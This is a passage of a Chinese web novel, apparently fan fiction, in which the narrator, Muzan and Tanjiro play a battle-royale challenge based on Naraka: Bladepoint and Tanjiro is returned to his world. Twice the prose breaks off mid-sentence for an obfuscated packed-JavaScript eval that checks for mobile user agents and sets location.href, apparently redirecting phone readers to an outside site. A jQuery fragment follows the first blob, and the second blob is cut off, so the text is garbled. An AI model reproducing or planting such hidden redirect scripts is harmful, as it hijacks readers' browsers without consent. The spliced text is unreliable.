我和无惨都听见了系统的提示音,也看见前方空中的半透明屏幕,但显然炭治郎什么都没看见,他看过来的眼神透着迷茫,很想捕捉到我们视线中的东西。可惜的是他确实不是玩家,也意味着必须想办法送他回到原来的世界。 系统像是能听见心声一般,在有人提问前就给出了选项。 【玩家解锁挑战模式,可在挑战模式中反复游玩获取奖励】 “如果要把那孩子送回原本的世界,玩挑战模式就可以了吗?”我向系统确认了一下,得到了肯定的答案。只要通过一次挑战模式,就能获得相应奖励,之后也可以反复通过挑战模式获取其他奖励。 不过话说回来挑战模式是什么,还可反复通关? 【请稍等,正在加载挑战模式……】 身边无端刮起旋风,吹起地上松散的黄沙,沙中夹带着源石碎屑,叫人不得不在旋风中蹲下护住头部。等旋风缓缓平息后,我起身拍掉衣上的沙子,打量四周环境。 脚下不再是沙漠,而是坚固的石台——说是石台未免有些委屈这地方,仔细观察的话,这里完全是另一个世界的模样了。 一处倚山而建的平台,位置约是在一处雪山接近山顶的地方,脚下石砖渗着刺骨的寒意,不少石板上还覆着一层积雪。向外便是高耸的悬崖,看出去能隐约看见山下的部分村寨建筑,正对着悬崖的是巨大的石柱和悬在上面的铁索,铁索上还缠着红布;向内走的话,里面还有一个山洞,洞内各处都点着蜡烛,地面上倒稀奇地长着大片绿草。 【开启挑战模式;三排模式】 【准备阶段请玩家选取模式特定技能、奥义】 不会错的,这个地方…… 系统展开一面大屏在我面前,而且只在我面前。 我想这或许是因为只有我是完全的外来者,也是唯一真正玩过这个游戏的人,对,这里也是我玩过的游戏之一。 面前轮换过数个角色,角色的衣着发型与我记忆中别无二致。 《永劫无间》,这我可太熟了,有段时间每天都高强度上分,其中的一些操作已成为肌肉记忆的一部分。我是无论如何都不会认错这个游戏,而系统把挑战模式选定了这里,那更可以说是给我的奖励关。 我抬手触向大屏上的某个角色,选定了技能和奥义。 “三排,那可真是最喜欢的一集啊。” 41. 第 41 章 《永劫无间》,一款大逃杀机制的对抗竞技游戏,但不同于FPS类游戏,这边主打的是冷兵器战斗。通俗来讲就是在武侠相关的作品中见过的兵器,在这里大多都可以拿来操作,从刀剑枪到棍子扇子飞刀,这样的游戏模式决定了大多数的对战都发生在近距离的博弈中,搭配一些角色技能,也同样导致了玩家游戏水平的上下限都不可小觑。 我简单向鬼舞辻无惨和灶门炭治郎解释了“大逃杀”的机制,连带着《永劫无间》这个游戏的相关背景设置也一并概括了少许。系统突然提示准备时间还剩一分半,短暂思索后,我决定先打开地图决定落点。 大逃杀游戏的落点选择就十分重要,决定了一局的开始能否先行积累战斗与生存资源。一局对局就像滚雪球,只有最初持有的资源丰富才能打赢第一波团战,也只有团战打赢了才能持续获得更多优质资源。 我在二人面前展开了系统地图,和我记忆中的游戏画面一模一样。 “果然,这里是游戏三个大地图中的火罗国,那我简单介绍一下地图。”我将整张标有不同金色区域的地区缩至全图概览的大小,展示给他们看,自上而下讲起地图上的每个地区。 火罗国的地图大致可以分为五个大区。左上角是终年覆盖冰雪的昆仑墟,以现实中昆仑雪山为原型,地图上也以白色标记了冰川和雪原的地貌;右上角是草原与雪山交界地带的部落,长生寨,原始部族的建筑坐落于此;火罗国地图的中心是沙漠中的宏伟宫殿,以其至高点的展翅雄鹰模样的雕像取名神鹰堡,那里有不受重力影响的浮空石和随地能将人喷上天的气流,还有深埋地下的秘藏;左下角的堡垒是麦赫塔,充满中西亚地域特色的建筑中藏着无数机关;最后是地图右下角的唐安城,以现实中式古城为原型的广袤城区,地图上将建筑的轮廓也标注了出来。 “我们现在在整张地图最北面的地方,就是这里。”我指了指图上不可作为落点的地图最上方区域,这里也被标注代表建筑区域的阴影,“没什么问题的话,落点我就自己选了,虽说《永劫无间》本身是在线联机对抗的,但系统估计是不会有其他玩家,所以不出意外的话应该更像游戏中的人机模式。” 不过人机模式也有难度区分,印象中最困难的那一档人机也会一些高难连招和博弈思维,游戏强度并不亚于高段位的真人对战,只希望系统设置的并不是那种地狱模式。 “你刚才在那个屏幕上点了什么?”倒计时挂在空中,一秒一秒地减少,鬼舞辻无惨在那数字走到十以下时问我,“那上面似乎有不少人的画像,你选了其中一个。” 我告诉他是本局的英雄选择:“毕竟这个游戏每局都使用不同的角色,所以系统让我也选一个……所以只有我选了?”我看着无惨沉默着不回答的模样,看向灶门炭治郎,也得到一个茫然的摇头。 系统没给他俩选择角色技能吗……倒也不是说不过去,他们自己就有习惯的战斗方式,强行为他们装配技能反而是帮倒忙。但我现在也是能使用源石技艺和帝具的,系统偏又给我塞了个选择英雄的页面,这让我心底生出几分不妙。 倒计时清零,我看着两人的身体被红色花瓣包裹,渐渐消散,我也是如此。 再睁眼时红色的花瓣还未完全消失,我们已经站在了新的环境中。和方才在平台时一样的夜晚,夜幕中铺着数不尽的繁星,周围是沙漠的环境,却不像真实的沙漠夜晚那般寒冷。从这一刻起,这轮大逃杀游戏就正式开始了,取胜的方法只有一个:击败其他敌人,活到最后。 《永劫无间》的生存模式每局会有20支队伍参加,在三排模式下一局就有60人。我们现在所在的位置也是一处圆形平台,四角立着四座小型的神鹰石像,平台中心一片浅浅的水池有些意义不明地摆在那里。 这是位于地图中央的神鹰堡南方的神火广场,之所以将落点选在这里,一是因为在初始地图上看见了这里被金色轮廓圈出来一片,意味着资源丰富区域,还有一个原因就是脚下不断传来的轰鸣声。 “脚下的地宫有线索,跟着提示将神鹰石像转向相应的方位,就能获得高级道具,这在初始阶段很重要。”我说着,先走到一旁的金色落物堆旁开了个堆,“这是落物堆,打开能获得一些武器和道具,记得随手开堆,不然没武器可打不过其他队伍,哪怕只是机器人。” 脑内突然无端响起角色语音,那是在开出高级装备时才有的提示音,我余光瞥见一抹金色,立马低头看去。 呃,太刀,虽然是金色的。 金色是游戏里武器品质最高的那一档,但太刀……实在是不敢恭维。职业比赛中解说更是直言“太刀是当之无愧的近战武器使用率倒数第一”。虽然具有出伤快、机动性高和连招观赏性强的优点,但在其他武器逐渐被开发之后,太刀也逐渐在博弈中失去了这些优点,同源武器横刀的更新更是让这个武器的使用率一落千丈。 开个金太刀出来实在是有些不中看,拿在手上挥刀或者搭配源石技艺自然是能打得不错,我持有的帝具「八房」还有个【死者行军】的能力,但现在在这个游戏里,我猜系统大概率会把武器使用限制在游戏模式的攻击机制。可这又是一把金武器,真不知该说运气好还是坏。 不过说起来这里不是正好有一位急需太刀的人吗? 我捡起地上的金太刀,随手染了自己游戏内常用的武器皮肤,递给炭治郎开玩笑道:“这是村里最好的刀了,拿着吧。” 炭治郎连忙摆手,说我对这个游戏熟悉,好的武器应该先放在我这里。 我刚想和他说至少自己手上还有个帝具,实在不行源石技艺先顶一下,就发现无论如何都没办法调出帝具,也用不了一点【钙质化】。 哈,原来是这样,不兼容啊,该死的系统不早说,我暗骂了一句。 “没事,空手也能打的,像这样。”从刚才说话的时候我就听见逐渐靠近的脚步声了,游戏开局不久果然就刷出了第一队人机敌人,那模拟出角色样貌的机器人来到我背后,我转身抬起右手蓄出一段力。 啪。 一记耳光抽在人机敌人的脸上,硬生生将他抽得向后踉跄退去。无惨有些疑惑地看向我,不解我何时有这般力量,我耸肩表示只是游戏特性。 自然是游戏在玩家没捡到任何武器时的空手战斗状态,原本也是正常的拳脚功夫,可某次愚人节活动给玩家体验过巴掌大战后,为了回应玩家的呼声,干脆就把无武器的近战都改成了扇巴掌。 手不疼,确实是只在这游戏里才有的铁掌。 该说不愧是人机局吗,刷出来的三个敌人连路都走不明白,对着卡脚的地形跳了半天,一会拿出远程意义不明地攻击,一会又绕着我们跑。既然如此也不用思考阵容与连招了,直接无脑打就行,只是问题在于我手上没有近战武器。 拿巴掌抽死人也没什么不好的,还能在战局结算时多一个“拳王”的成就,但未免有些太抽象了。 于是我选择了后退,躲到鬼舞辻无惨身后,在他质问我之前对他说:“你需要武器吗?需要的话我去给你捡把刀来,不需要的话这几个就交给你了。”即便是人机,也采用的游戏角色的外形,自然是人类模样,要让炭治郎上来就去攻击他们大约是有些困难,所以我想让无惨先去开个头或许不错。 “我为什么会需要人类为了自保做的那些武器?”无惨啧舌挥拳将一个走到他身边迟钝地开始蓄力攻击的人机砸开,我突然惊喜地发现原来自己还能像以前玩电脑游戏时一样发送表情气泡,于是他回头看我时也正好看见了我发出去的爱心表情。 他挥手向空中的表情气泡,却碰不到任何东西,又恼火得朝我伸手,同样穿模般穿了过去。我一时也有些呆愣,但随即反应过来是游戏模式特定的机制,毕竟这个游戏是没有友伤的,所以现在他确实也无法把攻击施加到队友身上。 我和他解释的时候还在持续发送几个表情,他没等我说完就打断了我的话:“别再让我看见这玩意。” “对不起,游戏玩多了喜欢乱发表情,我这就关掉。” 谈笑间无惨已经把那队人机敌人打完了,既然是游戏,杀死的敌人也自然不会像现实中那样留下尸体,人机敌人的血条清空时身体也直接消散,只留下一个插着小旗子的魂冢,小旗子上还写着“菜”字。 我从魂冢里摸了护甲和武器,白色品质的匕首,虽然是最低的品质,但武器机制强,也是我喜欢用的几种武器之一,拿着用正好。 人机局在开局刷新敌人的频率并不高,趁这个空当,我拉着他俩下到神火广场下的地宫去找线索。地宫与地上的广场一样呈圆形,围绕藏宝地宫一周的是有铁刺滚轮的轨道,线索就藏在这圈轨道的墙壁上:四角标记的方向只有靠近才能看见,对应地上的四座神鹰雕像,再将神鹰雕像转动到相应朝向就能解锁秘宝。这解谜说难也不难,只是有一定危险系数,不慎被滚轮轧到会吃高额伤害,甚至可能直接丢了命。 《永劫无间》有攀爬机制,所以人只要怕上墙壁或者挂上天花板,就不会被滚轮撞到。 但是人机不会。 于是现在就是我拉着灶门炭治郎挂在天花板上,看着底下乱走的人机被滚轮创翻变成魂冢。我跳下去舔了个包,顺便记下了这边墙壁上的线索。 回到地上,在地上等着的鬼舞辻无惨脚边又多了三个魂冢。 “这就是所谓的挑战模式?行为模式都不像正常人的量产敌人也不过如此。”他从魂冢里挑出几个品质好些的武器和护甲丢给我,我翻出回复护甲的道具将新的护甲补满,又从他挑出来的武器里选了一把顺手的。 等等,他怎么对这些东西还挺熟悉? 我将好奇的目光投向他,他耸肩说:“看你之前找这些东西,就拿出来罢了,而且系统又不是只有你才能对话。”他看向一旁的金钟,抬手在上面敲了敲,钟声回荡在神火广场上,系统提示没有发现敌人。 他连侦察钟都会用了!刚才那段时间他在地上已经跟着系统无师自通地了解了所有关于这个游戏的规则吗? “算不上什么很困难的规则,不难理解。不过这种叫‘大逃杀’的游戏,让所有人必须互相厮杀直至最后一队,还挺有创意的。”他说着,目光扫向我手中拿的新武器,顿了顿皱起眉头,指指我的双手,“但这又是什么?你不会觉得这样很……可爱吧?” 我疑惑地抬起双手,现在拿的是刚才新捡的拳刃。这种武器类似指虎,或者直接说就是某种超级英雄手上的钢爪也行,总之就是拳套加上刀刃的结构,通常的攻击方式是出拳或踢腿。 抬起来的是两个毛绒绒的雪白熊猫爪子,上面甚至绑着蝴蝶结与铃铛。 ……哦,这是我游戏内的武器皮肤,顺手染了上去,就变成了这副模样。 “难道不可爱吗?毛绒绒皮肤,打人一拳可以把护甲打碎一半呢。”我握紧手中的拳刃蓄力,左右闪了两下,在他面前示范出了一套攻击。表面再怎么看着可爱软绵,这个皮肤的熊猫爪顶部也是有做成利爪模样的锋刃,自然也能打出不低的伤害。 拳刃有一个独特的机制。一般武器在蓄力时做出闪避动作,会打断蓄力进程,但拳刃不仅不会,反而还能在闪避过程中将蓄力提升到下一个等级。这个机制名为闯步,寓意年轻人就该主动闯一闯……跑题了。 “如果你想看的话,我还有白菜狗的大刀,或者拐杖糖的长棍,冰激凌大刀也有。快说可爱。” 鬼舞辻无惨看起来不想说话。 好吧,不管他了。 神火广场的谜题解开,方才空旷的广场中心闪过一道耀眼的光,紧接着水池中心凭空多出一口宝箱,宝箱上空凝聚着一片风暴云,金光环绕着宝箱。 这便是火罗国地图的隐藏物资,解开谜题后可以拿到的特殊飓风客,大白话说就是空投,里面一般装着一些高品质的装备,运气好的情况下可以拿到比金色品质护甲还要高一等级的、全场唯一一件红色品质护甲。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679173|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这个你穿吧。”我从宝箱中取出那件红甲,它拿在手中时2D的图案和我自己的手放在一起有点怪,但系统提示只要放在人身上就能装配,于是我丢给了炭治郎。 红甲在碰到炭治郎身体的瞬间便像融化一般融入他的身体,并没有视觉上的锁子甲外形,只是现在查看他的状态时能看见他的护甲状态是最厚的红色护甲。 炭治郎显然是还没太学会操作方式,也弄不明白如何脱下护甲,只拍拍自己胸口,说:“可是这样的护甲可能您更需要?您前面说自己的能力都用不了……” “是有这回事,哦,我忘记告诉你们了。” 我一拍脑袋想起来自己从头到尾没解释过游戏角色的事,干脆直接丢出一个绿莹莹的光球到稍远些的地方做了示范。光球落在地上后长出一棵闪着光的幼苗,绿光将周围一小片地面笼罩在其中,在我靠近并走入光圈范围时幼苗飘起注入我胸口,我身上也闪出绿光。 “现在这个游戏大概不兼容之前的技能和武器吧,不过开始前系统也让我选了这局要用的角色技能,这招叫【益气安魂】,治疗用的。大招不到关键时刻就不放了,用出来你们就知道什么效果了。” “所以,你选了个只能治疗的角色?”鬼舞辻无惨听完我的介绍后抓住了一些重点,“你觉得有必要吗?” 无惨自然不需要治疗技能,人机敌人也不太可能把灶门炭治郎打到来不及用回复道具的程度——更何况我正是想着自己有治疗技能才把高品质护甲放到他身上的,选个技能和大招都没有伤害或控制,只能治疗保命的角色,看上去是有些摸鱼了。 但那又如何?我本来就是抱着摸鱼的目的选的! 我在地图上标了神鹰堡的目标点,示意先往那边走去搜集新资源,嘴上开始跑起火车:“玩游戏玩惯了嘛,这游戏队伍里有个治疗角色也很重要的,特别是三排,没有治疗的话容易突然被集火然后蒸发。而且请用专业术语称呼我,这叫三号位,也就是负责观察形式、决定队伍动向、及时调整局内运营的重要位置……你们怎么都不信我啊!” “不是的白夜小姐,其实我听不太懂这些,但我相信您的判断。”炭治郎顺手捡了路上零散的物资,包括回复道具和飞索——飞索也是这个游戏里重要的位移道具,可以快速选中远些的目标点或敌人,抛出飞索后将自己拉过去。 鬼舞辻无惨直言道:“想偷懒就直说。” “对,我想偷懒,所以打架的事情就交给你们了,如果有什么意外我会及时给你们治疗的。” 他对我的理直气壮一时语塞,虽然没有再评价什么,但直到在神鹰堡的各处搜罗一圈后我才意识到一点:他没有捡任何物资或装备! 游戏设置每个人身上都有背包格子和装备格子,无惨虽然不需要游戏里的装备,但我秉持着格子空着也浪费,就想让他也拿点好做万全准备,正好有些品质不错但一时用不上的武器也能塞进他那边的格子里,但他现在是完全没拿东西。 “你不是说战斗让我去解决吗?那我也不需要那些东西,不拿很正常。”对此他是这么回答的,随后注意力似乎都放在了神鹰堡的浮空石上,在新刷新的敌人来到我身后蓄力攻击时,他踩着浮空石跃起去了高处。 彼时我的护甲倒是找到了更好的紫色品质,但武器确实也没找到更好的,便还是拿着毛绒绒的拳刃出招。蓄力二段后身体在大脑反应的瞬间就动了起来,自说自话地转身跳起,借力踢出两记踢击,踹飞一个敌人;这就是拳刃的【霸腿】架势,同样也是纯粹的数值带来纯粹的强大。 敌人身上倒是有把品质稍好些的长棍,棍武器表面看着毫无锋芒,只是朴实圆润的棍子,但若这么小瞧它的话可是会吃大亏。蓄力后用力戳出,再顺势反复摔打,棍在手中舞得眼花缭乱,敌人也被棍打得在半空中下不来,一套【乱点天宫】处理掉人机敌人。 鬼舞辻无惨终于看完了上方的浮空石,缓缓落在地上,刚才我在地面打架似乎也都落在他眼里,现在他看上去心情也好了不少。 “我武器格子放满了,能帮我拿两个吗?”这次问出去倒是很快得到了同意的回答。 所以同意和拒绝的标准到底在哪?我问他是不是故意看我在下面一个头顶两个大地处理两个敌人,他也自然承认了这点。“如果真的让你那么顺利就偷懒,那也太无趣了,反正你也会治疗技能,现在也没死不是吗?” 我要不是能自己给自己奶一口就真的要出事了! “人机敌人似乎有在不断增加难度,刚才他们都会高难的闪避了。”我说着对无惨挤出一个略有些阴阳怪气的微笑,“所以无惨大人能屈尊来帮忙打架吗?如果没有您的话可能真的要活不下去了。” 他盯住我,又看了看地上的魂冢,确认我所言真伪,最后慢慢点了点头。 一只巨大的金色鸟兽飞过天空,伴随着响彻天际的明胶,金光在地图各处亮起。之前去建筑内寻找物资的灶门炭治郎刚迈出房门就看到这幅景象,惊得张口愣在那里,等金色大鸟飞走后才看向我询问那是什么。 我忙着查看地图,标出了最近的一处点位。 确实也到时间了,我心说果然该有这个流程,关掉地图后朝着目标的方向赶路。“那是三足金乌,放在这个游戏的世界观和剧情里,算是至阳力量的代表。总之祂飞过后会留下回阳境啦,里面是两支队伍一对一公平竞技的地方。”至于为什么是公平竞技,这就得等稍后才能亲身体会了。 回阳境内也是一座悬空的平台,平台上立着四根方柱,中间的屏障暂时隔开两支队伍。对面的人机敌人明显比最初路都不会走的要强,在屏障消失的瞬间利用飞索将自己拉上高空,开始滞空寻找切入位置。 而我早已跳上了其中一根高些的柱子,切换出远程武器长弓瞄准天上的敌人来了一箭,随后看着下方二打三的场面,不紧不慢地丢出【益气安魂】的治疗球。 唉,说好了要摸鱼,就得贯彻到底嘛。 42. 第 42 章 我想是我低估了这把人机局的强度。 其实准确地说,我没有过于小看人机局的难度,至少最初是没有的,最开始的一两队真的路都走不明白,撞到人脸上了还在试图拿远程武器拙劣地瞄准。 但这并不完全是我熟悉的那个《永劫无间》。 现在我是明白了,系统所谓的“挑战模式”意味着什么,当我站在柱子上笃定地围观下方二打三的场面时,我逐渐感觉不对。 就像所有竞技游戏一样,《永劫无间》也有自己的排位模式,用段位来区分玩家的技术等级。从青铜、白银一路到之后的陨星、蚀月、坠日,从字面意思就能判断段位高低。如果说最初那些纯人机是青铜都摸不到的水平,那么此时回阳境里的对手就已经达到了陨星段位的实力,换言之和一般匹配到的玩家不相上下。 低分段尚且无妨,稍高一些的分段团战中有一个人反应慢半拍都是致命的,等我意识到这点时,敌方已经开出了两个大招,将控制效果和伤害一并灌上来了;敌方大招是能造成眩晕的强控类奥义,眩晕的时间可不止一两秒,既然是游戏机制,那鬼舞辻无惨与灶门炭治郎本人再怎样对异常状态有抗性也无济于事。 我就这样看着他俩头上冒出“眩晕”的状态显示条,他们现在就像坐在电脑显示屏前的游戏玩家,只能干看着人物眩晕无能为力,而这时敌方队伍中拥有伤害型大招的敌人也迎面冲上来。我暗叫不好,赶忙收起远程武器跳下柱子用自己的大招顶了上去。 【悬瓠济世】是我所选的角色殷紫萍的奥义,作为一个纯治疗型的英雄,她的大招比技能提供更多的回复效果,还有最重要的一条特质——常魂。无惨和炭治郎的身上各自挂了一个绿色的小球,在他们状态条的生命值迅速削减直至要清空时,绿色小球爆开,将敌人全部弹开,也为他们提供了治疗。 选择治疗技能虽然一方面是为了摸鱼,但我确实也想到了现在这种情况。游戏里生命条归零后只是一局游戏结束,还能再开下一把,但这里呢?系统对游戏内容做出的更改随时可能超出预估,即便是鬼舞辻无惨这样的体质,我也不敢赌,所以我选了最能保命的技能组合,至少现在证明我的担心是有必要的。 解除眩晕状态后倒是轻松起来了,二打三变回正常的三打三,战斗三下五除二便结束,回阳境内刷新出了一个宝箱,作为胜者的奖励。我挑选了一下里面的装备和物资,看着头顶的倒计时,卡着点拿走了箱子里额外的一个奖励。 “唔……我身上这一圈红光是什么?”灶门炭治郎从回阳境出来重新踩上火罗国的沙地,脚下过于反差的触感让他踉跄一下,用力踩了几下才在细软的红色碎沙上站稳。 不等我开口,新刷新的敌人已经率先攻击过来。 不知是不是我的错觉,这次接敌战斗时我受到的攻击尤其多。在《永劫无间》里作战和现实中打架不太一样,追求无伤是很难的事,而系统贴心地开了痛觉减弱,所以我也不在乎偶尔被敌人击中两刀。但直到我为自己挂上技能的治疗与奥义的常魂后,我仍在被集中火力攻击,直到敌人抡起刀刃巨大的□□向我迎头劈来,我所剩无多的血条瞬间清空。 只是片刻的晃神,眼前的世界就变成了灰白色。我能清楚地看见自己原本站立的敌方,只剩下一座魂冢,魂冢上一只火鸟拔地飞起,而我正变成了透明的灵体状,站在魂冢旁边。 灶门炭治郎吓了一跳,还好这游戏里没有任何现实的尸体表现,他只能看见那座魂冢,当然也有我的灵体。“白夜小姐?!这、这样该怎么……”他看向这边时敌人也向他袭去,鬼舞辻无惨的管鞭在对方靠近之前将人击飞了。 我和无惨沉默着对视几秒,随后我憋不住了向他发问:“你是不是早知道这个机制了?” “嗯,多给你一点参与感,不然你该有多无聊啊。”无惨的话阴阳怪气的,言下之意还在记恨我回阳境中因摸鱼差点导致战败的事。 虽然我做得不厚道,如果是和现实玩家打游戏的场合肯定已经被问责了,但他也不能放着我被集火;虽然由于现在的特殊状态所以我并不会真的死亡,但他也不能……算了,确实是我摸鱼差点摸出大问题。 “我前面刚要解释呢。”我看向旁边略显茫然的炭治郎,指向他身上淡了些、但还未消去的红色火焰状光芒,“这是回阳境的胜利奖励,神兽之力,不同的神兽会带来不同的效果,比如我刚才拿的就是朱雀之力,可以在短时间内增加一次免费的死亡复活机会。” “所以白夜小姐您是没有问题的,那真是太好了。”他很快理解了我说的内容,也反应过来无惨是早就将游戏机制看完了,“不对,就算这样,鬼舞辻无惨你怎么能——” 我打断了他,表示先等我复活出来再说,随后在地图上标了复活用的返魂台,向那边跃去。等从灵体重新变回正常状态踏实地站在地上后,我说:“没办法,弱小可怜无助的奶妈在队伍里就是受气包,没关系的,就算我自己被敌人集火到死,也会努力把治疗给到队友。” 大概是说这话时嗓音夹得太刻意,这句话也确实更阴阳怪气,原本想说什么的灶门炭治郎一时语塞。 鬼舞辻无惨只是抛来一句轻飘飘的“好心给你一个建议,不想接她的话时可以直接无视她”。我说他这是冷暴力,他冷笑一声转头自己点开地图看了起来,也不再理我。 这把的运气总体还算好,几轮大逃杀游戏必不可少的缩圈环节下来,我们所处的位置仍然被包括在安全区内。地图上的圆圈越来越小,外围被暗紫色包裹,直到肉眼能看见紫色的物质覆盖了一线之隔外的空间。 只要跨过那条清晰的界限走到安全区外,处在暗域中的人就会直接扣血。第一次暗域蔓延时身处暗域的人扣血速度尚且缓慢,越到最后就会以恐怖的速度将血条清空,这是大逃杀游戏的底层逻辑,通过不断缩减的安全区域迫使玩家相互厮杀直至最后一队。 我有暗自感慨过还好这个挑战模式只采用了我熟悉的电脑游戏作为背景,里面刷新的敌人都是人机模式给的机器人,若是现实中参加大逃杀,和素不相识却知道那是真人的人类打,我是无论如何都会有些心理压力的。 说到底在作品世界浪一浪,还是无法和现实相比。这么说或许有些傲慢,但身为作品外的观众,就是有资格从更高的视点出发观察全局,这个道理和生态圈的食物链相似,是高维生物的特权,几乎是理所当然。 我回忆起在玉门时炭治郎在我直接杀死山海众敌人时迟疑的目光,我知道自己是因为只将对方当作游戏中的小怪顺手“清杂”才无所顾忌下手,但恐怕是无法和他解释这一点,当然我也不打算改变自己的观点,没有必要。 思绪稍微有些逸散,我在风力骤然增强时回过神来,眼前又像是卷起漫天黄沙般,只是这次并没有让人觉得步履艰难。“还是沙尘暴,不过这个游戏的沙尘暴和之前玉门那次不一样,”我看了眼地图,第二轮的回阳境马上就要刷新了,我标出了点位“这里的沙尘暴能帮到我们,跑跳的速度会更快,所以不用担心。” 第二轮回阳境的敌人实力又往上加了一档,战局推进到现在,剩余存活的队伍数量也越来越少,遇到敌人的频率反而有所降低。回阳境中失败的队伍会被加上阳虚状态,如果不及时击杀敌人解除阳虚,倒计时结束就会直接死亡;剩余存活队伍太少就会导致阳虚状态下始终找不到人,所以这轮回阳境无论如何都必须赢下来。 这次我没有再摸鱼,所幸配合人数没有劣势后配合稍微跟上些,很快就获得了优势。战斗还是很快结束,第二轮回阳境的胜利奖励也同样放在了我们面前。 “刚才的那个朱雀……那个什么,现在没有了吗?”灶门炭治郎基本习惯了游戏内的交互方式,他打开奖励查看后发出了疑问。 我补了些资源,扔掉之前品质稍低的弓,换上奖励宝箱中的鸟铳,说:“这个阶段要是再来一队人有复活机会,那对其他队伍的压力也太大了,而且这队反而更容易被所有人集火,不过这轮还有个更强的神兽之力可以选。” 我选上了宝箱中的青龙之力。青龙之力相比只能增加复活次数的朱雀来说,为玩家赋予了作战时的强化,以及对敌人附加雷电攻击,自然也是第二轮回阳境的争夺重点,拥有青龙之力的队伍也是大部分玩家头疼的存在。 安全区越来越小,基本上走两步就能刷新敌人,而装备的雪球滚起来,敌人的难度提升后战斗反而变得越发轻松。鬼舞辻无惨抬手就要对面前的敌人挥拳,一发子弹从他耳边飞过,精准命中敌人头部,隔着护甲将其血条清空。他回头看向我,我比了个V形手势。 我的摸鱼计划到底是成功了。 不,事到如今已经不能再用摸鱼来形容,毕竟我也辛苦了很久才凑够这一套鸟铳完全体的。《永劫无间》的鸟铳基本可以看作射击游戏中远距离的长枪,完全体的关键辅助魂玉便是【□□】,能无视护甲直接对生命值造成伤害;在【□□】的基础上,搭配了一些增强攻击的魂玉,加上鸟铳专属的【缓射】魂玉——降低射击速度、增强子弹伤害,就能打出一枪一个的威力。 亲身体会瞄准射击倒是比坐在电脑前用鼠标瞄准更容易,虽然想一枪一个必须直接打中敌人头部增伤点,这并非每次都能做到,但毫无疑问的是这样一来即便我不亲自加入战斗,也能给队伍带来正向收益。 所以这不叫摸鱼,这叫专门负责远程火力支援。 于是整局游戏最后就这样轻松地结束了。这游戏就是这样,打到最后反而可能越打越简单,决赛圈遇到的敌人装备与自己相差过大导致想象中最后这场艰难的战斗反而只是眨眼功夫就将一方的血条清空。而必须承认的是,这样一把打下来确实也挺痛快,哪怕只是人机局。 我忍不住向鬼舞辻无惨瞥了一眼,心说和他一起玩游戏还挺开心。虽然认真分析的话,他大约是那种个人风格极强,自己战斗时不顾队友状态的类型,可能单人模式更能发挥他的优势,想到这里我不禁轻笑出声,听见笑声的无惨转头来看我,我也转头避开了他的目光。 【挑战模式通关完成,正在结算奖励】 系统终于回到了它原本的模式,先前的游戏场景也全部消失不见,变回了我最初遇到系统时的那个空间。 【玩家获得奖励:】 【1.世界线辅助修正】 【2.增加常态可使用的武器库】 这次炭治郎也能听见系统的声音了,毫无疑问第一条说的就是送他回去的事,他肯定得了解一下。既然是修正世界线,那应该就会把他送回无限城决战开始之前,至于他这段记忆是否会保留,那得看系统如何决定了。 不过第二条是……当我反复读着那段文字时心中下意识想起游戏内自己最喜欢用的几种武器,手上突然多了一份重量,低头看去才发现一柄匕首正被我握在手上,外观都是我在《永劫无间》中常用的武器皮肤。 所以是这个意思吗?常态可用就意味着我在其他任何时候只要想用都可以用,即便在外因为我自己的身手问题不能顺畅使用连招,不同形制的兵器也能配合源石技艺将技能石的威力发挥到最大,这无疑是顶好的好事。 【世界线修正后会同步修正部分记忆,请等待世界线修复】 系统的电子屏化成一根进度条,进度条的一端还有个正在转动的小齿轮,缓慢推进着修复进程。进度推到100%后大概率就会直接将灶门炭治郎送回去,所以现在也算是告别时间,这件事虽有些莫名其妙,但总归也是段新奇的旅程。 这孩子对系统提到的记忆修正有些遗憾,又询问了一遍系统:“我真的会什么都不记得吗?”但此时的系统只有沉默增长的进度数字,没有回音。 “没关系,按你自己认为正确的方式去做就行了,系统的修正就是保证那个结局不会改变,至于结局怎么样,你也看出来了。”我看了一眼鬼舞辻无惨,他不悦地抱臂皱眉。 “但是还有其他的,比如说白夜小姐您跟我说过的那些话,还有那个世界让我学到的一些东西,我不希望忘记这些。”炭治郎眉头几乎蹙成一团,他很在意这些曾经没有了解过的内容,也很在意这些转换视角后自我推陈出新的理解。如果忘记这一切回到他自己的世界,他可能就会变回那个按部就班走剧情说台词的少年漫主角,但他现在有了自己的想法,他想自己决定自己在故事结局后的人生。 我不知如何安慰他,毕竟我是从未体验过那种感觉,但想来或许也不需要担心,炭治郎只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“只有弱者才会要求他人对自己善良,说到底我就不明白你有什么好生气的,我都耐心地听完你要说的话了,倒是你不知道自己很烦吗?” “可以了!”我秉着会了就用的心态,从更新后的常态武器库中直接取出一把巨大的宽面阔刀,立在两人中间,手扶着刀柄打断这场即将停不下来、甚至向干戈演变的争吵,“呃,还是很高兴看到你们谁都不理解谁,这样说是因为这证明你们都还保持着自己的本心没有变,也算是好事吧。” 我到底在说什么胡话,我一定是疯了。 “不理解就不理解吧!反正马上就要分别了,以后估计也不会再遇到,我们就人生有梦各自精彩。”我将阔刀插入地面,确保它能立住后跳上去踩着护手让自己站到高处,这样看起来更有宣布事情的样子,“总之,希望你那边也顺利,灶门炭治郎,去成为你想成为的人吧。” 系统进度条恰如其分地推到100%,一道白光闪过,原本站在那的身影眨眼间便消失了。系统给出【世界线修复完成】的提示,波折至此总算告一段落,系统的空间也开始渐渐关闭。 我看向鬼舞辻无惨,回想着他和炭治郎的那段对话,叫住他说:“我在想,其实灶门炭治郎想说的大概是如果可以的话他会减少自己在言语上对你的批判——那个世界的你。”我想起之前自己有意无意对炭治郎提到的那句,希望他不要片面地将所有不幸归因到无惨一人身上,或许刚才炭治郎那些话意有所指的就是这些。 